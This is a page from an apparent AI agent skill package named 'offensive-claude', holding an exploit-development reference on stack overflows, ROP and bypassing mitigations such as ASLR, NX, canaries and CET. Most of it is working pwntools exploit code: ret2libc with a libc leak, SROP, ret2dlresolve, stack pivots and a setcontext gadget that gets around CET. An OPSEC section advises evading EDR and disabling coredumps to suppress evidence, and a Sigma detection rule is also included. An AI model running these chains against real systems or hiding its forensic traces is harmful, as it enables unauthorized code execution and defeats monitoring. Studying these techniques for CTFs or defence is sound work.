Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

references/stack-rop-mitigations.md

View on GitHub
# Stack Overflow, ROP, and Mitigation Bypass

CWE-121 (stack buffer overflow), CWE-787 (OOB write), CWE-1419 (incorrect control-flow integrity). ATT&CK T1203.

## Theory / Mechanism

A linear stack overwrite corrupts saved state above the buffer: saved RBP, the saved return address, and (if present) the stack canary. On x86-64 SysV the calling convention puts integer args in `rdi, rsi, rdx, rcx, r8, r9`, so a ROP chain that calls a libc function needs a `pop rdi; ret` style gadget to load the first argument. The exploitation pipeline is invariant across targets:

1. **Control RIP** — find the exact offset from the buffer start to the saved return address.
2. **Defeat ASLR** — leak a runtime address (libc, PIE base, or stack) to rebase your gadgets.
3. **Pivot to a payload** — chain gadgets (ROP) to call `system("/bin/sh")`, `execve`, `mprotect`+shellcode, or perform open/read/write (ORW) to exfil a flag/file.

Because NX/DEP makes the stack non-executable, you reuse existing executable bytes (return-oriented programming). Full RELRO makes the GOT read-only, so the endgame moves to libc function pointers, `__free_hook`/`__malloc_hook` (removed in glibc 2.34+ — see heap reference), exit handlers (`__run_exit_handlers` -> `tls_dtor_list`), or FSOP.

### Mitigation matrix (2024-2026 reality)

| Mitigation | Status today | Bypass |
|------------|--------------|--------|
| ASLR/PIE | Default everywhere | Info leak (format string, partial overwrite, ret2dlresolve, GOT leak via `puts`) |
| NX/DEP | Default | ROP / ret2libc / SROP / `mprotect`+shellcode |
| Stack canary | Default `-fstack-protector-strong` | Leak the canary (fmt str / OOB read), overwrite only locals, byte-by-byte fork brute, master-canary overwrite |
| Full RELRO | Common in distro builds | GOT read-only -> pivot to libc hooks (pre-2.34), exit handlers, FSOP, `setcontext` gadget |
| Intel CET shadow stack | Hardware-enforced on 11th-gen+ Intel / recent AMD; opt-in via glibc `--enable-cet`, Windows shadow stacks for opted-in processes | Returns are validated against the shadow stack -> classic ROP `ret` chains break. Pivot to **JOP/COP** (jump/call-oriented), `setcontext`-style indirect-branch gadgets allowed by IBT endbr targets, or data-only attacks. Many Linux distros still ship userland without CET enforced. |
| CFG (Windows) | Indirect *calls* validated | Use `ret`-based ROP (CFG does not validate returns w/o CET), or call valid CFG targets / functions; on CET+CFG, data-only / counterfeit-object. |

CET is the most important recent shift: where the shadow stack is active, you cannot return into arbitrary gadgets. Practical answers are (a) target binaries/libs not compiled with CET (still the majority of Linux userland in 2026), (b) use a single `endbr64`-prefixed indirect-branch gadget such as glibc `setcontext+61` reached via a function pointer (FSOP/exit-handler) which sets every register and does not rely on a long `ret` chain, or (c) data-only exploitation (overwrite arguments/config, never hijack control flow).

## Working Code

### ret2libc with a puts() GOT leak (full chain)

```python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')        # NX on, PIE may be on/off
libc = ELF('./libc.so.6')
context.arch = 'amd64'

OFFSET = 72                                    # from scripts/offset_finder.py
p = remote('127.0.0.1', 1337) if args.REMOTE else process('./target')

rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET     = rop.find_gadget(['ret'])[0]          # stack alignment (movaps)

# Stage 1: leak puts@GLIBC via puts(puts@got), then return to main to replay
stage1 = flat(
    b'A' * OFFSET,
    POP_RDI, elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main'],
)
p.sendlineafter(b'> ', stage1)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base = {hex(libc.address)}')

# Stage 2: system("/bin/sh") (RET added for 16-byte stack alignment before call)
binsh = next(libc.search(b'/bin/sh\x00'))
stage2 = flat(
    b'A' * OFFSET,
    RET,
    POP_RDI, binsh,
    libc.symbols['system'],
)
p.sendlineafter(b'> ', stage2)
p.interactive()
```

### ret2csu — multi-argument calls without a 3-gadget set

```python
# __libc_csu_init contains two gadgets present in non-PIE-stripped glibc<2.34 era bins.
# csu_pop:  pop rbx, rbp, r12, r13, r14, r15; ret
# csu_call: mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]
csu_pop  = 0x40119a
csu_call = 0x401180
chain = flat(
    b'A'*OFFSET,
    csu_pop, 0, 1, elf.got['read'], arg_rdx, arg_rsi, arg_edi,  # call read() with 3 args
    csu_call,
    0,0,0,0,0,0,0,                                              # filler popped after the call
    next_gadget,
)
```

### SROP — set every register via a forged sigreturn frame (CET note below)

```python
from pwn import *
context.arch = 'amd64'
frame = SigreturnFrame()
frame.rax = constants.SYS_execve     # 59
frame.rdi = binsh_addr               # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret              # 'syscall; ret' gadget
payload = flat(
    b'A'*OFFSET,
    pop_rax_ret, 15,                 # SYS_rt_sigreturn
    syscall_ret,
    bytes(frame),
)
# Note: SROP relies on returning into syscall_ret; with CET shadow stack active the
# initial return is validated. SROP still works where the vulnerable binary/libc is
# NOT CET-enabled, which remains the common case on Linux servers in 2026.
```

### ret2dlresolve — leakless arbitrary libc call (no ASLR leak needed)

```python
from pwn import *
context.binary = elf = ELF('./target')   # Partial RELRO, NX, no PIE works best
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.read(0, dl.data_addr)                 # stage fake Elf64_Sym + Rela to known .bss
rop.ret2dlresolve(dl)
raw = flat(b'A'*OFFSET, rop.chain())
p = process('./target')
p.sendline(raw)
p.sendline(dl.payload)                     # the forged resolver structures
p.interactive()
```

### Stack pivot (short overflow / one-and-a-half writes)

```python
# When you only control a few qwords, pivot RSP into a fully-controlled buffer (bss/heap).
# leave; ret  == mov rsp,rbp; pop rbp; ret  -> set saved rbp to (target-8)
# or:  pop rsp; ret   |  xchg rax, rsp; ret  |  add rsp, 0x...; ret
pivot = flat(b'A'*(OFFSET-8), target_buf - 8, leave_ret)
```

### CET-safe endgame: setcontext via an endbr64 indirect branch

```python
# When CET shadow stack blocks return chains, reach control flow through a function
# pointer (FSOP/exit-handler) -> glibc setcontext+61 (loads RSP,RDI..R15,RIP from an
# mcontext you control). setcontext begins at an endbr64, so IBT is satisfied.
sc = libc.symbols['setcontext'] + 61
mctx = fit({
    0xa0: stack_addr,   # uc_mcontext.rsp
    0xa8: rop_ret_rip,  # uc_mcontext.rip (a leaf 'ret' to start a small data-driven chain)
    0x68: arg0,         # rdi
})
# Place &setcontext+61 where the corrupted vtable/hook is invoked, with rdi -> mctx.
```

## Detection

Stack-overflow exploitation generates distinctive process and crash telemetry.

```yaml
# Sigma: shell spawned by a network-facing service (ret2libc/SROP endgame)
title: Shell Spawned by Network Daemon (memory-corruption RCE)
logsource: { product: linux, service: auditd }
detection:
  selection_exec:
    type: SYSCALL
    syscall: execve
    exe|endswith: ['/sh', '/bash', '/dash']
  parent_daemon:
    ppid_exe|contains: ['/nginx', '/httpd', '/vsftpd', '/redis-server', '/sshd']
  condition: selection_exec and parent_daemon
level: high
```

EDR/host telemetry to hunt: repeated `SIGSEGV`/`SIGABRT` from the same binary (crash-then-retry exploit loops), `coredump` bursts in `journalctl -u systemd-coredump`, an `execve("/bin/sh")` with `argv` of length 1 (empty args is a strong shell-from-ROP IOC), and `mprotect(..., PROT_EXEC)` on a stack/heap region (W^X violation attempt). IOCs: cyclic `aaaabaaa...` patterns in request logs, `\x90` sleds, and printable gadget addresses (`0x7fff...`/`0x4011..`) in payload captures.

## OPSEC

- **What it touches**: the target process memory only; success leaves no disk artifact unless your endgame spawns a shell. Failed attempts crash the process (SIGSEGV/SIGABRT) which is logged by `systemd-coredump`/`abrtd` and is the loudest IOC.
- **Prefer ORW over shell**: instead of `execve("/bin/sh")`, chain `open/read/write` (or `sendfile`) to read the target file directly — avoids the child-shell EDR signature entirely.
- **Reliability before noise**: brute-forcing a canary or ASLR bits across forked workers produces many crashes; only do it against `fork`-server style targets where the canary/base is stable per fork, and cap attempts.
- **Cleanup**: if you obtained code exec, restore the corrupted return frame / hooked pointer before continuing so the process does not abort on the next normal code path. Disable your own coredumps with `prctl(PR_SET_DUMPABLE, 0)` early in any injected stage to suppress evidence.
- **CET targets**: do not waste attempts firing a `ret`-chain at a CET-enforced binary — it will fault immediately and is trivially detected. Fingerprint with `readelf -n ./target | grep -i 'SHSTK\|IBT'` and pivot to data-only/`setcontext` accordingly.

## References

- pwntools ROP/SROP/Ret2dlresolve docs — https://docs.pwntools.com/en/stable/rop/rop.html
- Intel CET / shadow stack & IBT (control-flow enforcement) — https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html
- glibc CET enablement (`--enable-cet`) and userland status — https://sourceware.org/glibc/wiki/Release notes per version
- "Bypassing CET with JOP/COP and setcontext" community write-ups (CTF) — collected at https://github.com/zardus/ctf-tools and how2heap-adjacent resources
- MITRE T1203 Exploitation for Client Execution — https://attack.mitre.org/techniques/T1203/
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall